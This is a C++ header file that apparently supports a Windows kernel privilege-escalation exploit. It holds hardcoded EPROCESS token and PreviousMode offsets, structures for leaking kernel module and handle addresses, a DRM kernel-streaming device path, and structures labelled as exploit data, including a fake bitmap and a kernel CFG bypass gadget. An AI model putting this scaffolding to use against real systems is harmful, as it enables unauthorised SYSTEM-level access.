#pragma once

#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define EPROCESS_TOKEN_OFFSET			0x4B8
#define KTHREAD_PREVIOUS_MODE_OFFSET	0x232    
#define SystemHandleInformation			0x10
#define SystemModuleInformation         11
#define SystemHandleInformationSize		0x400000


typedef VOID(__stdcall* fRtlGetNtVersionNumbers)(
	DWORD* MajorVersion,
	DWORD* MinorVersion,
	DWORD* BuildNumber
	);

typedef NTSTATUS(__stdcall* fNtQuerySystemInformation)(
	SYSTEM_INFORMATION_CLASS SystemInformationClass,
	PVOID                    SystemInformation,
	ULONG                    SystemInformationLength,
	PULONG                   ReturnLength
	);

enum _MODE
{
    KernelMode = 0,
	UserMode = 1
};

typedef struct SYSTEM_MODULE {
    ULONG                Reserved1;
    ULONG                Reserved2;
#ifdef _WIN64
    ULONG				Reserved3;
#endif
    PVOID                ImageBaseAddress;
    ULONG                ImageSize;
    ULONG                Flags;
    WORD                 Id;
    WORD                 Rank;
    WORD                 w018;
    WORD                 NameOffset;
    CHAR                 Name[255];
}SYSTEM_MODULE, * PSYSTEM_MODULE;

typedef struct SYSTEM_MODULE_INFORMATION {
    ULONG                ModulesCount;
    SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
	ULONG NumberOfHandles;
	SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

__inline void * ULongLongToPtr64( const unsigned long long ull )
{
    return( (void *)(ULONG_PTR)ull );
}

//
// Declare some functions from ntdll.dll
//
extern "C" 
{
	NTSTATUS RtlGUIDFromString(PUNICODE_STRING GuidString, GUID* Guid);

    NTSTATUS RtlStringFromGUID(REFGUID Guid, PUNICODE_STRING GuidString);

    NTSTATUS NtImpersonateThread(HANDLE ThreadHandle, HANDLE ThreadToImpersonate, SECURITY_QUALITY_OF_SERVICE* SecurityQualityOfService);

    NTSTATUS NtWriteVirtualMemory(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite,  PULONG NumberOfBytesWritten OPTIONAL );
}


#define DRM_DEVICE_OBJECT L"\\\\?\\root#system#0000#{ffbb6e3f-ccfe-4d84-90d9-421418b03a8e}\\{eec12db6-ad9c-4168-8658-b03daef417fe}&{abd61e00-9350-47e2-a632-4438b90c6641}"

//DEFINE_GUIDSTRUCT("3C0D501A-140B-11D1-B40F-00A0C9223196", KSNAME_Server);
//#define KSNAME_Server DEFINE_GUIDNAMED(KSNAME_Server)

//DEFINE_GUIDSTRUCT("3C0D501B-140B-11D1-B40F-00A0C9223196", KSPROPSETID_Service);
//#define KSPROPSETID_Service DEFINE_GUIDNAMED(KSPROPSETID_Service)

//
// Declare data structures related to the exploit
//
typedef struct _RTL_BITMAP
{
	DWORD SizeOfBitMap;
	PVOID Buffer;
}RTL_BITMAP, *PRTL_BITMAP;

#pragma pack(1)
typedef struct _EXPLOIT_DATA1
{
    PRTL_BITMAP  FakeBitmap;    
}EXPLOIT_DATA1;

typedef struct _EXPLOIT_DATA2
{
    char pad[0x20];
    PVOID ptr_ArbitraryFunCall; // kCFG bypass gadget function, for example RtlSetAllBits
} EXPLOIT_DATA2;
